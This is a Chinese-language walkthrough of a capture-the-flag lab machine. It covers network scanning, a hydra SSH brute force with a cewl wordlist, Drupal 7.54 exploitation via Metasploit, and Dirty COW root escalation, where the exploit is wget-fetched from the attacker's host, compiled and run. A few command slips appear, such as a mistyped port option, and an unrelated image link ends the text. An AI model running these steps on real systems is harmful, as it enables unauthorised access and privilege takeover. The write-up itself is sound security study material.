文章目录
一、IP地址获取
二、信息收集
三、破解SSH密码
四、漏洞利用
五、提权
一、IP地址获取
netdiscover -i eth0 
Arp-scan -l 
Nmap -sP 192.168.78.0/24

靶机地址:192.168.78.177
Kali地址:192.168.78.128
二、信息收集
nmap  -sV  -p-  192.168.78.177
开放了 22 80 1898端口,访问80 web页面

访问1898端口

发现了登录框和网站框架信息drupal 7,随便点击一下页面发现还存在其他页面内容
http://192.168.78.177:1898/?q=node/2

提示了一个音频和图片文件
http://192.168.78.177:1898/audio.m4a
http://192.168.78.177:1898/qrc.png音频得到提示user:tiago,图片二维码提示尝试爆破
再利用dirb探测一下其他目录
Dirb http://192.168.78.177:1898
看到了robots文件,访问一下

其中changelog.txt文件可看到框架版本Drupal 7.54
三、破解SSH密码
前面提示说需要爆破,猜测是需要构造密码字典爆破ssh密码
cewl http://192.168.78.177:1898/?q=node/1 -w password.txt
hydra -l tiago -P password.txt 192.168.78.177 -s 22 ssh 最终得到账户密码:
用户: tiago
密码: Virgulino

ssh登录一下

发现是低权限用户!需要提权!
四、漏洞利用
通过前面我们知道网站框架是drupal 7.54,搜索exploite
searchsploit  drupal 7.54
发现msf中有,进入msf进行利用
msfdb init & msfconsole
search  Drupal
Use 1
set rport 1898
set rhosts 192.168.78.177
Set rport 6666
meterpreter > shell交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
还是低权限用户,还需要考虑提权
五、提权
Uname -a 查看内核版本

Ubuntu 14.01,查阅资料可知可用脏牛漏洞提权

找到相关版本的exp
searchsploit dirty
locate linux/local/40847.cpp 查看绝对路径
将它复制到当前目录,并创建http服务,再靶机/tmp目录下使用wget下载
cp /usr/share/exploitdb/exploits/linux/local/40847.cpp /root
python3 -m http.server 8000
wget http://192.168.78.128:8000/40847.cpp编译运行脚本
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o yc 40847.cpp -lutil
-Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
-pedantic 允许发出ANSI/ISO C标准所列出的所有警告
-O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
-std=c++11就是用按C++2011标准来编译的
-pthread 在Linux中要用到多线程时,需要链接pthread库
-o yc  gcc生成的目标文件,名字为yc
./yc  执行gcc编译可执行文件,可直接提权
su命令转到root身份,输入上面的密码:dirtyCowFun,即可提权成功


![[java]小程序,输出20个随机数,并统计每个随机数出现的次数](https://img-blog.csdnimg.cn/d5de42f869834b67b3e63fd13e9e4332.png)

















